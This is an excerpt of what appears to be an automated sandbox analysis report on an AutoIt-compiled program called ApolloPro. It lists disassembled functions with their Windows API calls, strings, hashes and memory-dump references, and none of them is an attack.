                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$DriveType
                                                                    • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                    • API String ID: 2907320926-4222207086
                                                                    • Opcode ID: bcb741b5687625ce713f67a182d32b2cd57932b424a534973a15d31cdfaec089
                                                                    • Instruction ID: 4e67bd05b56b246a550f44d6a87a662c0aaa3bba509a7b76950d27c12bf650b4
                                                                    • Opcode Fuzzy Hash: bcb741b5687625ce713f67a182d32b2cd57932b424a534973a15d31cdfaec089
                                                                    • Instruction Fuzzy Hash: 0A519334B4020DEB8B00DB20C942AFD77AAFF49748B658029E416E7391D779AEC1DB55
                                                                    Function 0083A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 0083A0F7
                                                                    • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0083A1B0
                                                                    • SendMessageW.USER32(?,00001102,00000002,?), ref: 0083A1CC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window
                                                                    • String ID: 0
                                                                    • API String ID: 2326795674-4108050209
                                                                    • Opcode ID: 30beb66e9131e3146923d707375d97b68aff9021af44624362a851d3867b7853
                                                                    • Instruction ID: 1f442e6230918abdd809a3ea0e29bbed5f8a0c9bd2de9d0b65b7dc8efb3c8686
                                                                    • Opcode Fuzzy Hash: 30beb66e9131e3146923d707375d97b68aff9021af44624362a851d3867b7853
                                                                    • Instruction Fuzzy Hash: C602AA30108301AFDB19CF14C849BABBBE8FB95314F048529F9DAD62A1D779D954CF92
                                                                    Function 0083AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColor.USER32(00000012), ref: 0083AF51
                                                                    • SetTextColor.GDI32(?,?), ref: 0083AF55
                                                                    • GetSysColorBrush.USER32(0000000F), ref: 0083AF6B
                                                                    • GetSysColor.USER32(0000000F), ref: 0083AF76
                                                                    • CreateSolidBrush.GDI32(?), ref: 0083AF7B
                                                                    • GetSysColor.USER32(00000011), ref: 0083AF93
                                                                    • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0083AFA1
                                                                    • SelectObject.GDI32(?,00000000), ref: 0083AFB2
                                                                    • SetBkColor.GDI32(?,00000000), ref: 0083AFBB
                                                                    • SelectObject.GDI32(?,?), ref: 0083AFC8
                                                                    • InflateRect.USER32(?,000000FF,000000FF), ref: 0083AFE7
                                                                    • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0083AFFE
                                                                    • GetWindowLongW.USER32(00000000,000000F0), ref: 0083B013
                                                                    • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0083B05F
                                                                    • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0083B086
                                                                    • InflateRect.USER32(?,000000FD,000000FD), ref: 0083B0A4
                                                                    • DrawFocusRect.USER32(?,?), ref: 0083B0AF
                                                                    • GetSysColor.USER32(00000011), ref: 0083B0BD
                                                                    • SetTextColor.GDI32(?,00000000), ref: 0083B0C5
                                                                    • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0083B0D9
                                                                    • SelectObject.GDI32(?,0083AC1F), ref: 0083B0F0
                                                                    • DeleteObject.GDI32(?), ref: 0083B0FB
                                                                    • SelectObject.GDI32(?,?), ref: 0083B101
                                                                    • DeleteObject.GDI32(?), ref: 0083B106
                                                                    • SetTextColor.GDI32(?,?), ref: 0083B10C
                                                                    • SetBkColor.GDI32(?,?), ref: 0083B116
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                    • String ID:
                                                                    • API String ID: 1996641542-0
                                                                    • Opcode ID: 05b1997ba58d777229bb4663c5748680969f9c81ad80659ad0c2696f3dc24e51
                                                                    • Instruction ID: da184c30685d2d7f1f6f76754391ecf922750fc729af20b64996c841ffd0e2f9
                                                                    • Opcode Fuzzy Hash: 05b1997ba58d777229bb4663c5748680969f9c81ad80659ad0c2696f3dc24e51
                                                                    • Instruction Fuzzy Hash: 3A619AB6900208AFDF159FA4DC48AAFBB79FF49320F218115FA15BB2A1D7719940CF90
                                                                    Function 00838FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 008390EA
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 008390FB
                                                                    • CharNextW.USER32(0000014E), ref: 0083912A
                                                                    • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0083916B
                                                                    • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00839181
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00839192
                                                                    • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 008391AF
                                                                    • SetWindowTextW.USER32(?,0000014E), ref: 008391FB
                                                                    • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00839211
                                                                    • SendMessageW.USER32(?,00001002,00000000,?), ref: 00839242
                                                                    • _memset.LIBCMT ref: 00839267
                                                                    • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 008392B0
                                                                    • _memset.LIBCMT ref: 0083930F
                                                                    • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00839339
                                                                    • SendMessageW.USER32(?,00001074,?,00000001), ref: 00839391
                                                                    • SendMessageW.USER32(?,0000133D,?,?), ref: 0083943E
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 00839460
                                                                    • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 008394AA
                                                                    • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 008394D7
                                                                    • DrawMenuBar.USER32(?), ref: 008394E6
                                                                    • SetWindowTextW.USER32(?,0000014E), ref: 0083950E
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                                    • String ID: 0
                                                                    • API String ID: 1073566785-4108050209
                                                                    • Opcode ID: a2b8a908962edc13e52836d3d1e1dadc2fed2ac0a2a7ab20235d47173d2a53c3
                                                                    • Instruction ID: a3dabe9d98534b0db4b763423ab92625dd94a5ab99f4a744c221c888ee789f1c
                                                                    • Opcode Fuzzy Hash: a2b8a908962edc13e52836d3d1e1dadc2fed2ac0a2a7ab20235d47173d2a53c3
                                                                    • Instruction Fuzzy Hash: 7DE1AF75900208ABDF209F55CC88EEF7BB8FF45750F008156FA59EA291D7B48A81DFA1
                                                                    Function 00834ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCursorPos.USER32(?), ref: 00835007
                                                                    • GetDesktopWindow.USER32 ref: 0083501C
                                                                    • GetWindowRect.USER32(00000000), ref: 00835023
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00835085
                                                                    • DestroyWindow.USER32(?), ref: 008350B1
                                                                    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 008350DA
                                                                    • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 008350F8
                                                                    • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 0083511E
                                                                    • SendMessageW.USER32(?,00000421,?,?), ref: 00835133
                                                                    • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00835146
                                                                    • IsWindowVisible.USER32(?), ref: 00835166
                                                                    • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00835181
                                                                    • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00835195
                                                                    • GetWindowRect.USER32(?,?), ref: 008351AD
                                                                    • MonitorFromPoint.USER32(?,?,00000002), ref: 008351D3
                                                                    • GetMonitorInfoW.USER32(00000000,?), ref: 008351ED
                                                                    • CopyRect.USER32(?,?), ref: 00835204
                                                                    • SendMessageW.USER32(?,00000412,00000000), ref: 0083526F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                    • String ID: ($0$tooltips_class32
                                                                    • API String ID: 698492251-4156429822
                                                                    • Opcode ID: 1da9541f7d6c93c78bcfb5ab0c828e7e603222a5c9969d435a1d6aa7380712bc
                                                                    • Instruction ID: 4a81f579ebc707fc478fc75c5b14d72dc1ac34a7c184b565de4c3c0535d5aebb
                                                                    • Opcode Fuzzy Hash: 1da9541f7d6c93c78bcfb5ab0c828e7e603222a5c9969d435a1d6aa7380712bc
                                                                    • Instruction Fuzzy Hash: B0B15871604740AFDB04DF64D889B6BBBE4FF89314F008A1CF9999B291DB75E805CB92
                                                                    Function 0081498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFileVersionInfoSizeW.VERSION(?,?), ref: 0081499C
                                                                    • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 008149C2
                                                                    • _wcscpy.LIBCMT ref: 008149F0
                                                                    • _wcscmp.LIBCMT ref: 008149FB
                                                                    • _wcscat.LIBCMT ref: 00814A11
                                                                    • _wcsstr.LIBCMT ref: 00814A1C
                                                                    • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00814A38
                                                                    • _wcscat.LIBCMT ref: 00814A81
                                                                    • _wcscat.LIBCMT ref: 00814A88
                                                                    • _wcsncpy.LIBCMT ref: 00814AB3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                                    • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                    • API String ID: 699586101-1459072770
                                                                    • Opcode ID: ec04832ed7d66c4cf002630c55decd601a4e5cdcf10534c77b7f81561f890f57
                                                                    • Instruction ID: 77dce7832ffd5eaaf548921e1ffe7c5a5d579923ac49ef483ba746909e82e635
                                                                    • Opcode Fuzzy Hash: ec04832ed7d66c4cf002630c55decd601a4e5cdcf10534c77b7f81561f890f57
                                                                    • Instruction Fuzzy Hash: D0410872604214BADB10B7609C4BEBF7BBCFF41720F10045AF905E6393EB399A4296A5
                                                                    Function 007B2BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 007B2C8C
                                                                    • GetSystemMetrics.USER32(00000007), ref: 007B2C94
                                                                    • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 007B2CBF
                                                                    • GetSystemMetrics.USER32(00000008), ref: 007B2CC7
                                                                    • GetSystemMetrics.USER32(00000004), ref: 007B2CEC
                                                                    • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 007B2D09
                                                                    • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 007B2D19
                                                                    • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 007B2D4C
                                                                    • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 007B2D60
                                                                    • GetClientRect.USER32(00000000,000000FF), ref: 007B2D7E
                                                                    • GetStockObject.GDI32(00000011), ref: 007B2D9A
                                                                    • SendMessageW.USER32(00000000,00000030,00000000), ref: 007B2DA5
                                                                      • Part of subcall function 007B2714: GetCursorPos.USER32(?), ref: 007B2727
                                                                      • Part of subcall function 007B2714: ScreenToClient.USER32(008777B0,?), ref: 007B2744
                                                                      • Part of subcall function 007B2714: GetAsyncKeyState.USER32(00000001), ref: 007B2769
                                                                      • Part of subcall function 007B2714: GetAsyncKeyState.USER32(00000002), ref: 007B2777
                                                                    • SetTimer.USER32(00000000,00000000,00000028,007B13C7), ref: 007B2DCC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                    • String ID: AutoIt v3 GUI
                                                                    • API String ID: 1458621304-248962490
                                                                    • Opcode ID: 321c192140194645da889a707b0059a4ec39bbcfa772444b56d8a09dfdead13a
                                                                    • Instruction ID: 59e494af2b36b3eab34f7063f644b60822698ba8a2ada42cc7ab730d5ff7e5e9
                                                                    • Opcode Fuzzy Hash: 321c192140194645da889a707b0059a4ec39bbcfa772444b56d8a09dfdead13a
                                                                    • Instruction Fuzzy Hash: F8B17B75A0124A9FDB14DFA8CC49BEE7BA4FB08310F104129FA15E7294DB78E851CF65
                                                                    Function 007D0429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    • GetForegroundWindow.USER32(00840980,?,?,?,?,?), ref: 007D04E3
                                                                    • IsWindow.USER32(?), ref: 008066BB
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Foreground_memmove
                                                                    • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                    • API String ID: 3828923867-1919597938
                                                                    • Opcode ID: 17097ee1a07afd96072b3fb3616466fa52f630f7a7af83cbe21a8a35797d1e5a
                                                                    • Instruction ID: 3b4341d7539d3af633f20c058d78be3c06ff0add26d929c8bbf0c7a1c965bb53
                                                                    • Opcode Fuzzy Hash: 17097ee1a07afd96072b3fb3616466fa52f630f7a7af83cbe21a8a35797d1e5a
                                                                    • Instruction Fuzzy Hash: 69D1D530104202DFCB44EF60C845A9ABBB5FF61344F10462EF455D72A2EB35E979CBA2
                                                                    Function 0083441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?), ref: 008344AC
                                                                    • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 0083456C
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharMessageSendUpper
                                                                    • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                                    • API String ID: 3974292440-719923060
                                                                    • Opcode ID: c00cc095baa6e2e6433f684cbdebaba60a9c78afddc710401945a8ecc3ff95e2
                                                                    • Instruction ID: 7e083dd3f0e98f60e84f4ad8a4f33593b9f6fab35ee76ba4d02217ff613542f6
                                                                    • Opcode Fuzzy Hash: c00cc095baa6e2e6433f684cbdebaba60a9c78afddc710401945a8ecc3ff95e2
                                                                    • Instruction Fuzzy Hash: 9BA17A30214205DBCB14EF64C856B6AB3A5FF95314F10592DB9969B3E2DB34FC09CB92
                                                                    Function 008256C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadCursorW.USER32(00000000,00007F89), ref: 008256E1
                                                                    • LoadCursorW.USER32(00000000,00007F8A), ref: 008256EC
                                                                    • LoadCursorW.USER32(00000000,00007F00), ref: 008256F7
                                                                    • LoadCursorW.USER32(00000000,00007F03), ref: 00825702
                                                                    • LoadCursorW.USER32(00000000,00007F8B), ref: 0082570D
                                                                    • LoadCursorW.USER32(00000000,00007F01), ref: 00825718
                                                                    • LoadCursorW.USER32(00000000,00007F81), ref: 00825723
                                                                    • LoadCursorW.USER32(00000000,00007F88), ref: 0082572E
                                                                    • LoadCursorW.USER32(00000000,00007F80), ref: 00825739
                                                                    • LoadCursorW.USER32(00000000,00007F86), ref: 00825744
                                                                    • LoadCursorW.USER32(00000000,00007F83), ref: 0082574F
                                                                    • LoadCursorW.USER32(00000000,00007F85), ref: 0082575A
                                                                    • LoadCursorW.USER32(00000000,00007F82), ref: 00825765
                                                                    • LoadCursorW.USER32(00000000,00007F84), ref: 00825770
                                                                    • LoadCursorW.USER32(00000000,00007F04), ref: 0082577B
                                                                    • LoadCursorW.USER32(00000000,00007F02), ref: 00825786
                                                                    • GetCursorInfo.USER32(?), ref: 00825796
                                                                    • GetLastError.KERNEL32(00000001,00000000), ref: 008257C1
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Cursor$Load$ErrorInfoLast
                                                                    • String ID:
                                                                    • API String ID: 3215588206-0
                                                                    • Opcode ID: 624df0187f84fca1f15ccfc17e4d1edc55180e01b3df7f2825a6e9b5592caf92
                                                                    • Instruction ID: cafcb2a85f06349eb7d00738ee3a03101a0f44fa757d2434e502b06a768c1def
                                                                    • Opcode Fuzzy Hash: 624df0187f84fca1f15ccfc17e4d1edc55180e01b3df7f2825a6e9b5592caf92
                                                                    • Instruction Fuzzy Hash: A9415370E44319AADB109FBA9C49D6FFFF8EF51B10B10452FE509E7291DAB8A500CE91
                                                                    Function 0080B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetClassNameW.USER32(?,?,00000100), ref: 0080B17B
                                                                    • __swprintf.LIBCMT ref: 0080B21C
                                                                    • _wcscmp.LIBCMT ref: 0080B22F
                                                                    • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0080B284
                                                                    • _wcscmp.LIBCMT ref: 0080B2C0
                                                                    • GetClassNameW.USER32(?,?,00000400), ref: 0080B2F7
                                                                    • GetDlgCtrlID.USER32(?), ref: 0080B349
                                                                    • GetWindowRect.USER32(?,?), ref: 0080B37F
                                                                    • GetParent.USER32(?), ref: 0080B39D
                                                                    • ScreenToClient.USER32(00000000), ref: 0080B3A4
                                                                    • GetClassNameW.USER32(?,?,00000100), ref: 0080B41E
                                                                    • _wcscmp.LIBCMT ref: 0080B432
                                                                    • GetWindowTextW.USER32(?,?,00000400), ref: 0080B458
                                                                    • _wcscmp.LIBCMT ref: 0080B46C
                                                                      • Part of subcall function 007D385C: _iswctype.LIBCMT ref: 007D3864
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                                                    • String ID: %s%u
                                                                    • API String ID: 3744389584-679674701
                                                                    • Opcode ID: f236e4242713ae2368bf9a0ef36b655994a56b81ed0740c3bd25525760f60246
                                                                    • Instruction ID: 92c793e492d398f27d61f5348fcb283de867e44fe4fb699899e087a706f294e7
                                                                    • Opcode Fuzzy Hash: f236e4242713ae2368bf9a0ef36b655994a56b81ed0740c3bd25525760f60246
                                                                    • Instruction Fuzzy Hash: 36A1EE71204706AFD754DF64CC88FAAB7E8FF44314F108629FA99C2291DB34EA55CBA1
                                                                    Function 0080BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetClassNameW.USER32(00000008,?,00000400), ref: 0080BAB1
                                                                    • _wcscmp.LIBCMT ref: 0080BAC2
                                                                    • GetWindowTextW.USER32(00000001,?,00000400), ref: 0080BAEA
                                                                    • CharUpperBuffW.USER32(?,00000000), ref: 0080BB07
                                                                    • _wcscmp.LIBCMT ref: 0080BB25
                                                                    • _wcsstr.LIBCMT ref: 0080BB36
                                                                    • GetClassNameW.USER32(00000018,?,00000400), ref: 0080BB6E
                                                                    • _wcscmp.LIBCMT ref: 0080BB7E
                                                                    • GetWindowTextW.USER32(00000002,?,00000400), ref: 0080BBA5
                                                                    • GetClassNameW.USER32(00000018,?,00000400), ref: 0080BBEE
                                                                    • _wcscmp.LIBCMT ref: 0080BBFE
                                                                    • GetClassNameW.USER32(00000010,?,00000400), ref: 0080BC26
                                                                    • GetWindowRect.USER32(00000004,?), ref: 0080BC8F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
